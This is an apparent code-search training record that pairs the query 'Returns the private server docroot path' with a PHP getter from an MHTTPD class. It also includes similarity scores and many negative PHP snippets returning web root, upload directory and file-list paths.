[ "0.79588366", "0.7954139", "0.78660136", "0.7685791", "0.76250887", "0.76140064", "0.76140064", "0.7585091", "0.75733835", "0.75661373", "0.7545899", "0.7538565", "0.74869585", "0.7439908", "0.7412197", "0.7378347", "0.73596746", "0.73179036", "0.73125345", "0.7305334", "0.7296336", "0.71790713", "0.7158245", "0.71551245", "0.7151778", "0.71511805", "0.71384805", "0.7128773", "0.7123866", "0.71237427", "0.7102652", "0.7101226", "0.7099528", "0.7092801", "0.70908624", "0.70771503", "0.706616", "0.706616", "0.706616", "0.706616", "0.706616", "0.706616", "0.706616", "0.70642495", "0.7062732", "0.7058412", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.7055165", "0.70468676", "0.70154566", "0.7014058", "0.7006392", "0.69909996", "0.6987533", "0.6972643", "0.696997", "0.69666046", "0.6959508", "0.6959508", "0.6959508", "0.6959508", "0.69513845", "0.69458914", "0.6943454", "0.69298834", "0.69231266", "0.6912652", "0.68962336", "0.6855787", "0.68348503", "0.6830533", "0.67936444", "0.67758733", "0.6773407", "0.6756248", "0.6744887", "0.67448384", "0.67390233", "0.67362636", "0.6735267", "0.6735267", "0.6733238" ]
0.80986744
0
Returns the private server docroot path.
public static function getServerDocroot() { return MHTTPD::$config['Paths']['server_docroot']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function getDocroot() \n\t{\n\t\treturn MHTTPD::$config['Paths']['docroot'];\n\t}", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "function base_path() {\n return (new Server)->get('DOCUMENT_ROOT');\n }", "public static function getDocumentRoot()\r\n\t{\r\n\t\tstatic $documentRoot = null;\r\n\t\tif ($documentRoot != null)\r\n\t\t\treturn $documentRoot;\r\n\r\n\t\t$context = Application::getInstance()->getContext();\r\n\t\tif ($context != null)\r\n\t\t{\r\n\t\t\t$server = $context->getServer();\r\n\t\t\tif ($server != null)\r\n\t\t\t\treturn $documentRoot = $server->getDocumentRoot();\r\n\t\t}\r\n\r\n\t\treturn rtrim($_SERVER[\"DOCUMENT_ROOT\"], \"\\\\/\");\r\n\t}", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public function getConfiguredServerRoot()\n {\n return $this->server_root;\n }", "static public function getSecureRootPath() {\n\t\treturn Page::$base_ssl_path;\n\t}", "public function getRootPath(): string\n {\n return $this->rootPath;\n }", "protected static function getDocumentRoot() {\n\t\treturn BootstrapConfig::getParam(\"document_root\", $_SERVER['DOCUMENT_ROOT']);\n\t}", "public function getPublicRoot()\n {\n $this->initializeVendorDir();\n return realpath($this->public_root);\n }", "private static function getWebRoot() {\n if (file_exists(realpath(__DIR__ . '/../../../../../public_html'))) {\n return self::addlSash(\"public_html\");\n } else {\n return self::addlSash(\"web\");\n }\n }", "public function getFileRootPath(): string\n {\n return str_replace(\n ':',\n '.',\n $this->getDatasetSubmission()->getDataset()->getUdi()\n ) . DIRECTORY_SEPARATOR;\n }", "public function root(): string\n {\n return $this->instances->demo()->config()->root() . '/public/' . $this->name;\n }", "public function getRootPath()\r\n\t{\r\n\t\treturn $this->rootPath;\r\n\t}", "public static function getSiteRoot() {\n if (strtolower($_SERVER['SERVER_NAME'])=='www.palmettonewmedia.com') {\n return Config::getHTTPS() . '://www.palmettonewmedia.com/foodfinder';\n }\n else {\n return Config::getHTTPS() . '://' . $_SERVER['SERVER_NAME'];\n }\n }", "public function rootDir(): string\n {\n return $this->root;\n }", "function public_path()\n {\n $paths = getPaths();\n\n return $paths['public'];\n }", "public function root()\n {\n if ($this['environment']->has('SCRIPT_FILENAME') === false) {\n throw new \\RuntimeException(\n 'The \"`\"SCRIPT_FILENAME\" server variable could not be found.\n It is required by \"Workbench::root()\".'\n );\n }\n\n return dirname($this['environment']->get('SCRIPT_FILENAME'));\n }", "protected function privateAbsolutePath() : string {\n return $this->privateFolder['absolute'];\n }", "public function getDocumentRoot()\n {\n $documentRoot = '';\n $normalized = $this->getNormalized();\n if (empty($normalized['web']['locations'])) {\n return $documentRoot;\n }\n foreach ($this->getNormalized()['web']['locations'] as $path => $location) {\n if (isset($location['root'])) {\n $documentRoot = $location['root'];\n }\n if ($path === '/') {\n break;\n }\n }\n\n return ltrim($documentRoot, '/');\n }", "function getDocumentRoot(){\n\t\t$document_root = isset($_SERVER[\"DOCUMENT_ROOT\"]) ? $_SERVER[\"DOCUMENT_ROOT\"] : \"\";\n\t\t#get env variables under IIS\n\t\tif( !$document_root ){\n\t\t $sf = str_replace(\"\\\\\",\"/\",$_SERVER[\"SCRIPT_FILENAME\"]);\n\t\t $sn = $_SERVER[\"SCRIPT_NAME\"];\n\t\t $document_root = str_replace( $sn, \"\", $sf );\n\t\t}\n\t\treturn $document_root;\n}", "public function getRootPath()\n {\n return $this->rootPath;\n }", "public function get_server_http_root()\n {\n\t\t$split = explode('.',$_SERVER['HTTP_HOST']);\n\t\t\n\t\t$root=$split[0];\n\t\t//makes it devbrad from just brad\n\t\tif( in_array($root,array('sam','ryan','brad'))) $root = \"dev\".$root;\n\t\t//else it is just stage or live, leave it alone\n\t\t\n\t\treturn \"endeavor/\".$root.\"/\";\n\t\t\n }", "public static function privateFilesDirectory() {\n $status = static::parseStatus();\n $path = $status->get('private');\n\n if (!empty($path)) {\n return $path;\n }\n\n return NULL;\n }", "public function getRootPath()\n {\n return $this->root_path;\n }", "public function public_path();", "public function get_root_path()\n\t{\n\t\treturn $this->ext_root_path;\n\t}", "protected function getUploadRootDir(): string\n {\n // documents should be saved\n return __DIR__.'/../../public/'.$this->getUploadDir();\n }", "public function getPublicBasePath();", "public function getWebroot() {\n return Yii::getAlias('@static') .DIRECTORY_SEPARATOR. 'web' .DIRECTORY_SEPARATOR.$this->module.DIRECTORY_SEPARATOR. $this->parent_id .DIRECTORY_SEPARATOR;\n }", "protected function getWebRoot() {}", "protected function getWebRoot() {}", "public function getPublicPath(): string\n {\n return Path::unifyPath(Environment::getPublicPath());\n }", "function parcelcheckout_getRootPath()\n\t{\n\t\t$sRootPath = dirname(dirname(dirname(__FILE__)));\n\n\t\tif(strpos($sRootPath, '\\\\') !== false)\n\t\t{\n\t\t\t$sRootPath .= '\\\\';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sRootPath .= '/';\n\t\t}\n\n\t\treturn $sRootPath;\n\t}", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir().\"/\".$this->getHash();\n }", "public function getWwwDir(): string\n\t{\n\t\treturn $this->wwwDir;\n\t}", "protected function getUploadRootDir()\n {\n \t// documents should be saved\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getServerRelativePath()\n {\n return $this->getProperty(\"ServerRelativePath\");\n }", "protected function getUploadRootDir()\r\n {\r\n // documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "public function getRootPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_ROOT);\r\n\t}", "function getServerFilePath($fileName) {\n return $_SERVER['DOCUMENT_ROOT'].PATHS[$fileName];\n}", "protected function getUploadRootDir()\n {\n // documents should be saved\n return '/home/meriem/therlab/web/'.$this->getUploadDir();\n }", "static public function getRootPath() {\n\t\treturn Page::$base_path;\n\t}", "protected function rootPath()\n {\n return Pi::path('upload') . '/' . $this->getModule();\n }", "protected function getPackageRootPath(): string\n {\n return getcwd() . '/';\n }", "protected function getWebRoot()\n {\n return trim($this->web_root, \"/\");\n }", "protected function getUploadRootDir()\n {\n// documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "function getWebsiteRootPath()\n {\n // Check that the absolute path to the current directory is accessible\n // (some webhosts denies access this way)\n if ( file_exists (FCPATH) ) {\n return FCPATH;\n } else {\n // Fake relative path by using subdirectory\n return 'js/../';\n }\n }", "function get_root_url() {\n return \"http://\" . $_SERVER['HTTP_HOST'] . '/' . ROOT_PATH;\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "public function getWebRoot() {\n return $GLOBALS['registry']->config[\"siteUrl\"];\n }", "protected function getRootPath()\n {\n return base_path() . '/CertificateBuilder/events';\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "public function getRootDir(){\n\t\treturn str_replace(realpath($_SERVER['DOCUMENT_ROOT']), \"\", realpath(dirname(__DIR__ . \"/../core.php\")));\n\t}", "protected function getUploadRootDir()\n {\n // documents should be saved\n\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "public function getPhotoUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../web/' . $this->getPhotoUploadDir();\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getPath()\n {\n return $this->getCommonOptions()->getPublicPath();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public static function getApplicationPath() \r\n {\r\n if (!isset(self::$appPath)) \r\n {\r\n switch ($_SERVER['HTTP_HOST']) {\r\n case 'localhost':\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/Progetto/';\r\n break;\r\n case 'spano.sc.unica.it':\r\n // configurazione pubblica\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/amm2015/meloniFabrizio/';\r\n break;\r\n default:\r\n self::$appPath = '';\r\n break;\r\n }\r\n }\r\n \r\n return self::$appPath;\r\n }", "private function getPath()\n\t{\n\t\treturn $this->_sys_path;\n\t}", "protected function privateRelativePath() : string {\n return $this->privateFolder['relative'];\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../public_html/'.$this->getUploadDir();\n }", "public function getFullPath()\n\t{\n\t\treturn $this->getServerName() . $this->getScriptDirectory();\n\t}", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public static function getRoot(): string {\n if (! self::$_root) {\n self::$_root = dirname(dirname(dirname(__FILE__)));\n }\n \n return self::$_root;\n }", "public static function getDocsDirectory()\n {\n $dir = BaseSystem::getDataDir('Help').'/Docs/';\n return $dir;\n\n }", "protected function getUploadRootDir()\r\n {\r\n // the absolute directory path where uploaded documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "private function buildRootPath()\n {\n // In Windows script path uses backslash, convert it:\n $scriptPath = str_replace('\\\\', '/', $_SERVER['PHP_SELF']);\n $rootPath = str_replace(' ', '%20', rtrim(substr($scriptPath, 0, strpos($scriptPath, 'index.php')), '/'));\n\n return $rootPath;\n }", "public function getWwwPath()\n\t{\n\t\treturn $this->www_path;\n\t}", "public function getPublicPath()\n {\n return $this->getSettingArray()[\"public_path\"];\n }", "public function get_doc_root($path = '')\n\t{\n\t\t$server_doc_root = str_replace('\\\\', '/', $_SERVER['DOCUMENT_ROOT']);\n\t\t$wp_doc_root = $this->get_wp_doc_root();\n\n\t\t$doc_root = empty($server_doc_root) || 0 !== strpos($wp_doc_root, $server_doc_root)\n\t\t\t? $wp_doc_root : $server_doc_root;\n\n\t\t$doc_root = !empty($this->options['input_doc_root'])\n\t\t\t? $this->options['input_doc_root']\n\t\t\t: $doc_root;\n\n\t\treturn !empty($path)\n\t\t\t? trailingslashit($doc_root) . ltrim($path, '/')\n\t\t\t: $doc_root;\n\t}", "public function getWebroot() {\n return $this->webroot;\n }" ]
[ "0.74405473", "0.7284044", "0.7262614", "0.71985906", "0.7049879", "0.6978768", "0.69082654", "0.68648136", "0.6806023", "0.6805294", "0.67474943", "0.6711657", "0.6694753", "0.667781", "0.6663147", "0.663424", "0.6625719", "0.66089225", "0.66029876", "0.65919304", "0.658228", "0.6561938", "0.65338635", "0.6522999", "0.65055597", "0.6503516", "0.6487183", "0.64792436", "0.6476283", "0.6467108", "0.6455016", "0.64544886", "0.64518785", "0.6447172", "0.6440059", "0.64285666", "0.6422533", "0.64115196", "0.6401316", "0.6400776", "0.63985676", "0.63977826", "0.63909316", "0.63796544", "0.63757634", "0.63672304", "0.6363502", "0.63577604", "0.6357392", "0.63515353", "0.6351531", "0.63480425", "0.6344673", "0.63378096", "0.63378096", "0.63378096", "0.63378096", "0.63378096", "0.63378096", "0.63378096", "0.63349533", "0.6330824", "0.63282484", "0.63264173", "0.6320078", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.631943", "0.63151824", "0.6312317", "0.6303306", "0.62920743", "0.6280171", "0.6277376", "0.627733", "0.62699276", "0.6261823", "0.6261261", "0.6260658", "0.6260042", "0.62468636", "0.62458557", "0.6243783" ]
0.8346813
0
Returns the list of paths from which XSendFile requests may be served.
public static function getSendFilePaths() { if (!empty(MHTTPD::$send_file_paths)) { return MHTTPD::$send_file_paths; } // Store the absolute paths $paths = listToArray(MHTTPD::$config['Paths']['send_file']); $real_paths = array(); foreach ($paths as $path) { if (($rpath = realpath(MHTTPD::getInipath().$path)) || ($rpath = realpath($path))) { $real_paths[] = $rpath; } } MHTTPD::$send_file_paths = $real_paths; return $real_paths; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/trickstr.php',\n 'sources_custom/programe/.htaccess',\n 'sources_custom/programe/aiml/.htaccess',\n 'sources_custom/programe/aiml/index.html',\n 'sources_custom/programe/index.html',\n 'sources_custom/hooks/modules/chat_bots/knowledge.txt',\n 'sources_custom/hooks/modules/chat_bots/trickstr.php',\n 'sources_custom/programe/aiml/readme.txt',\n 'sources_custom/programe/aiml/startup.xml',\n 'sources_custom/programe/aiml/std-65percent.aiml',\n 'sources_custom/programe/aiml/std-pickup.aiml',\n 'sources_custom/programe/botloaderfuncs.php',\n 'sources_custom/programe/customtags.php',\n 'sources_custom/programe/db.sql',\n 'sources_custom/programe/graphnew.php',\n 'sources_custom/programe/respond.php',\n 'sources_custom/programe/util.php',\n );\n }", "public function getCopyFileUrls() {\n if (!$this->copyFilePaths) return [];\n\n $urls = [];\n\n foreach($this->copyFilePaths as $filePath) {\n $url = FileService::getInstance()->getUrlForPathUnderUploadsDir($filePath);\n if (!$url) continue;\n\n $urls[] = $url;\n }\n\n return $urls;\n }", "public function get_paths()\n\t{\n\t\tif ( ! ee()->session->cache(__CLASS__, 'paths'))\n\t\t{\n\t\t\t$paths = array();\n\t\t\t$upload_prefs = $this->get_file_upload_preferences(NULL, NULL, TRUE);\n\n\t\t\tif (count($upload_prefs) == 0)\n\t\t\t{\n\t\t\t\treturn $paths;\n\t\t\t}\n\n\t\t\tforeach ($upload_prefs as $row)\n\t\t\t{\n\t\t\t\t$paths[$row['id']] = $row['url'];\n\t\t\t}\n\n\t\t\tee()->session->set_cache(__CLASS__, 'paths', $paths);\n\t\t}\n\n\t\treturn ee()->session->cache(__CLASS__, 'paths');\n\t}", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/wiki_sync.php',\n '_tests/tests/unit_tests/wiki_sync.php',\n 'lang_custom/EN/wiki_sync.ini',\n 'sources_custom/wiki_sync.php',\n 'sources_custom/hooks/systems/config/wiki_alt_changes_link_stub.php',\n 'sources_custom/hooks/systems/config/wiki_enable_git_sync.php',\n 'sources_custom/hooks/systems/config/wiki_enable_wysiwyg.php',\n 'sources_custom/hooks/systems/config/wiki_sync_media_directory.php',\n 'sources_custom/hooks/systems/config/wiki_sync_page_directory.php',\n 'sources_custom/hooks/systems/cron/wiki_sync_git.php',\n 'sources_custom/hooks/systems/notifications/wiki_failed_git_pull.php',\n 'sources_custom/wiki.php',\n 'site/pages/modules_custom/wiki.php',\n 'cms/pages/modules_custom/cms_wiki.php',\n );\n }", "function getPaths()\n {\n $paths = array();\n foreach ($this->names as $name) {\n $paths[] = $this->dir.$name.$this->ext;\n }\n return $paths;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/idolisr.php',\n 'sources_custom/hooks/modules/members/idolisr.php',\n 'sources_custom/miniblocks/main_stars.php',\n 'sources_custom/miniblocks/side_recent_points.php',\n 'themes/default/templates_custom/POINTS_GIVE.tpl',\n 'themes/default/templates_custom/BLOCK_MAIN_STARS.tpl',\n 'themes/default/templates_custom/BLOCK_SIDE_RECENT_POINTS.tpl',\n );\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/google_search.php',\n 'lang_custom/EN/google_search.ini',\n 'sources_custom/blocks/side_google_search.php',\n 'sources_custom/blocks/main_google_results.php',\n 'themes/default/templates_custom/BLOCK_SIDE_GOOGLE_SEARCH.tpl',\n 'themes/default/templates_custom/BLOCK_MAIN_GOOGLE_SEARCH_RESULTS.tpl',\n 'themes/default/css_custom/google_search.css',\n 'pages/comcode_custom/EN/_google_search.txt',\n );\n }", "public function fileList()\n {\n return array_values(array_diff(scandir($this->location), ['.', '..']));\n }", "public function getLocalPaths()\n {\n return array_map(\n function (LocalResource $r) { return $r->getLocalPath(); },\n $this->toArray()\n );\n }", "final public function get_paths() {\n return array();\n }", "public function getFiles()\n {\n $request = $this->getRequest();\n return (array)$request->getFiles();\n }", "public function getPaths(): array\n {\n return $this->paths;\n }", "public function getPaths(): array\n {\n return $this->paths;\n }", "private function _getRequestPaths()\n {\n $paths = array();\n \n // Find maxPages with the ceil of the total properties / the maximum\n // pageSize\n $maxPages = ceil($this->getTotal() / $this->getMaxPageSize());\n \n // Use plus one as the first page will have already be requested\n for ($i = $this->getPage() + 1; $i <= $maxPages; $i++) {\n $paths[] = $this->getRequestPath($i, $this->getMaxPageSize());\n }\n \n return $paths;\n }", "protected function sourceFiles()\n {\n static $files;\n\n if ($files === null) {\n $basePath = $this->basePath();\n $includedPaths = $this->includedPaths();\n $excludedPaths = $this->excludedPaths();\n\n $included = [];\n foreach ($includedPaths as $relPath) {\n $included = array_merge($included, $this->globRecursive($basePath.'/'.$relPath, GLOB_BRACE));\n }\n\n $excluded = [];\n foreach ($excludedPaths as $relPath) {\n $excluded = array_merge($excluded, $this->globRecursive($basePath.'/'.$relPath, GLOB_BRACE));\n }\n\n $files = array_diff($included, $excluded);\n }\n\n return $files;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/jestr.php',\n 'sources_custom/forum/cns.php',\n 'lang_custom/EN/jestr.ini',\n 'themes/default/templates_custom/EMOTICON_IMG_CODE_THEMED.tpl',\n 'forum/pages/modules_custom/topicview.php',\n 'sources_custom/hooks/systems/config/jestr_avatar_switch_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_emoticon_magnet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_leet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_piglatin_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes_shown_for.php',\n );\n }", "private function attachmentPaths(): array\n {\n $sql = \"SELECT meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s\";\n /** @var \\stdClass[] $metadata */\n $metadata = $this->wpdb->get_results($this->wpdb->prepare($sql, '_wp_attachment_metadata'));\n\n if (!$metadata) {\n return [];\n }\n\n $paths = [];\n foreach ($metadata as $metadataValue) {\n list($dir, $files) = $this->attachmentPathFiles($metadataValue);\n if ($dir && $files) {\n array_key_exists($dir, $paths)\n ? $paths[$dir] = array_merge($paths[$dir], $files)\n : $paths[$dir] = $files;\n }\n }\n\n return $paths;\n }", "public function getPaths();", "public static function getIndexFiles()\n\t{\n\t\tif (empty(MHTTPD::$config['Server']['index_files'])) {\n\t\t\treturn array();\n\t\t}\n\t\treturn MHTTPD::$config['Server']['index_files'];\n\t}", "public function getSrcFiles()\n\t{\n\t\t// src files are cached to be less calls on the fs\n\t\tif (!$this->srcFiles) {\n\t\t\t$this->srcFiles = $this->getFiles($this->config['src']);\n\t\t}\n\n\t\treturn $this->srcFiles;\n\t}", "public function getFiles() {\r\n\r\n $files = array();\r\n\r\n $userId= $this->userId;\r\n $trackingId = $this->trackingFormId;\r\n $dir = FILEPATH . $userId. '/' . $trackingId;\r\n\r\n if (is_dir($dir)) {\r\n if ($dh = opendir($dir)) {\r\n while (($file = readdir($dh)) !== false) {\r\n if($file != '.' && $file != '..') {\r\n $size = $this->Size($dir . '/' . $file);\r\n array_push($files, array('name'=>$file,\r\n 'urlfilename'=>urlencode($file),\r\n 'size'=>$size));\r\n }\r\n }\r\n closedir($dh);\r\n }\r\n }\r\n\r\n return $files;\r\n }", "public function getDeviceFiles()\n {\n return [$this->getPreferredDeviceFile()];\n }", "public static final function paths()\n {\n\treturn self::$_paths;\n }", "public function getPaths()\n {\n return $this->paths;\n }", "public function getPaths()\n {\n return $this->_paths;\n }", "function list_files () {\n\t\t$root = $this->get_root();\n\t\t\n\t\treturn $this->_list_files($root);\n\t}", "public function getPrintFiles()\n {\n $key = $this->specification->key;\n\n $files = glob(storage_path('prints' . DIRECTORY_SEPARATOR . $key . DIRECTORY_SEPARATOR . '*.docx'));\n $file_names = array_map('basename', $files);\n\n return $file_names;\n }", "protected function getAvailableFiles() {\n\t\t$sql = \"SELECT\tfilename\n\t\t\tFROM\twcf\".WCF_N.'_'.$this->tableName.\"\n\t\t\tWHERE\tpackageID = \".$this->installation->getPackageID();\n\t\t$result = WCF::getDB()->sendQuery($sql);\n\t\t\n\t\t$availableFiles = array();\n\t\twhile ($row = WCF::getDB()->fetchArray($result)) {\n\t\t\t$availableFiles[] = $row['filename'];\n\t\t}\n\t\t\n\t\treturn $availableFiles;\n\t}", "public function getAvailablePaths()\n {\n $paths = [];\n $datasources = array_reverse($this->datasources);\n foreach ($datasources as $datasource) {\n $paths = array_merge($paths, $datasource->getAvailablePaths());\n }\n return $paths;\n }", "public function listApplicationFiles() {\r\n\t\t$preload = array(\r\n\t\t\t\"config/main.js\"\r\n\t\t);\r\n\t\t\r\n\t\t$return = array();\r\n\t\t$fullPath = $this->applicationPath;\r\n\t\r\n\t\tforeach($preload as $file) {\r\n\t\t\t$return[] = $fullPath.\"/\".$file;\r\n\t\t}\r\n\t\t\r\n\t\t$options = array(\r\n\t\t\t\"fileTypes\" => array(\"js\"),\r\n\t\t\t\"exclude\" => array_merge($preload, array(\r\n\t\t\t\t\"data\", \"messages\", \"compiled.js\"\r\n\t\t\t))\r\n\t\t);\r\n\t\t\r\n\t\t$return = array_merge($return, CFileHelper::findFiles($fullPath,$options));\r\n\t\t\r\n\t\t\r\n\t\treturn $return;\r\n\t}", "private function get_svg_files_path() {\n\t\t$custom_svg_path_icons = apply_filters( 'acf_svg_icon_filepath', array() );\n\n\t\treturn array_map( function ( $val ) {\n\t\t\treturn [\n\t\t\t\t'type' => 'custom',\n\t\t\t\t'file' => $val,\n\t\t\t];\n\t\t}, (array) $custom_svg_path_icons );\n\t}", "public function getFiles() {\n return $this->getPartFiles(0);\n }", "private function getUploadedFiles()\n {\n $list = array();\n \n if(isset($_REQUEST['files']))\n {\n $files = explode('::', $_REQUEST['files']);\n foreach($files as $index => $item)\n {\n list($name, $src, $size) = explode(':', $item);\n \n $list[] = array(\n 'name' => $name,\n 'src' => $src,\n 'size' => $size \n );\n }\n }\n \n return $list;\n }", "public function getHandledPaths();", "public function getFiles(): array\n {\n return [$this->file];\n }", "public function getAllPaths(): array\n {\n return [\n 'all_users_profile' => $this->getAllUsersProfilePath(),\n 'app_data' => $this->getAppDataPath(),\n 'com_spec' => $this->getComSpecPath(),\n 'common_program_files' => $this->getCommonProgramFilesPath(),\n 'common_program_files_x86' => $this->getCommonProgramFilesX86Path(),\n 'driver_data' => $this->getDriverDataPath(),\n 'home_drive' => $this->getHomeDrivePath(),\n 'home' => $this->getHomePath(),\n 'local_app_data' => $this->getLocalAppDataPath(),\n 'logon_server' => $this->getLogonServerPath(),\n 'one_drive' => $this->getOneDrivePath(),\n 'path' => $this->getPath(),\n 'program_data' => $this->getProgramDataPath(),\n 'program_files' => $this->getProgramFilesPath(),\n 'program_files_x86' => $this->getProgramFilesX86Path(),\n 'public' => $this->getPublicPath(),\n 'system_drive' => $this->getSystemDrivePath(),\n 'system_root' => $this->getSystemRootPath(),\n 'temp' => $this->getTempPath(),\n 'user_profile' => $this->getUserProfilePath(),\n 'win_dir' => $this->getWindirPath(),\n ];\n }", "public function getSettingFiles() {\n $aOut = array();\n foreach ($this->getBasePaths('setting') as $aPaths) {\n foreach ($aPaths as $aInfo) {\n $aOut[] = $aInfo['path'];\n }\n }\n return $aOut;\n }", "public function getScriptPaths()\n {\n return array( $this->_getSmartyParams('template_dir') );\n }", "public function getFiles(): array\n {\n return $this->pluginRepository->config('stubs.files');\n }", "public function getFiles(): array\n {\n return $this->files;\n }", "public function requestPaths() {\n\t\treturn array(\n\t\t\tarray('homepage', 'homepage'),\n\t\t\tarray('homepage.html', 'homepage'),\n\t\t\tarray('homepage/subpage.html', 'homepage/subpage'),\n\t\t\tarray('homepage/subpage.rss.xml', 'homepage/subpage')\n\t\t);\n\t}", "protected function getFiles(): array\n {\n return [];\n }", "private function getFilenames() {\n $result = [];\n $files = scandir($this->tmpFolder);\n foreach ($files as $v) {\n if($v != '.' && $v != '..' && '__MACOSX') {\n $result[] = $v;\n }\n }\n\n return $result;\n }", "public function getFiles()\n {\n return $this->getConfig('stubs.files');\n }", "public function getFiles ();", "public function getFiles();", "public function getFiles();", "public function getFiles();", "public function getDeviceFileSymlinks()\n {\n return [];\n }", "protected static function getPathsInternal() {}", "public function get_all_svg_files() {\n\t\t// First try to load files list from the cache.\n\t\t$files = get_transient( $this->cache_key );\n\t\tif ( ! empty( $files ) ) {\n\t\t\treturn $files;\n\t\t}\n\n\t\t/**\n\t\t * Get WP Media SVGs\n\t\t *\n\t\t * @since 2.0.0\n\t\t */\n\t\t$media_svg_files = $this->get_medias_svg();\n\n\t\t/**\n\t\t * The path to the svg file.\n\t\t *\n\t\t * @since 1.0.0\n\t\t */\n\t\t$custom_svg_files = $this->get_svg_files_path();\n\n\t\t$files = array_merge( $media_svg_files, $custom_svg_files 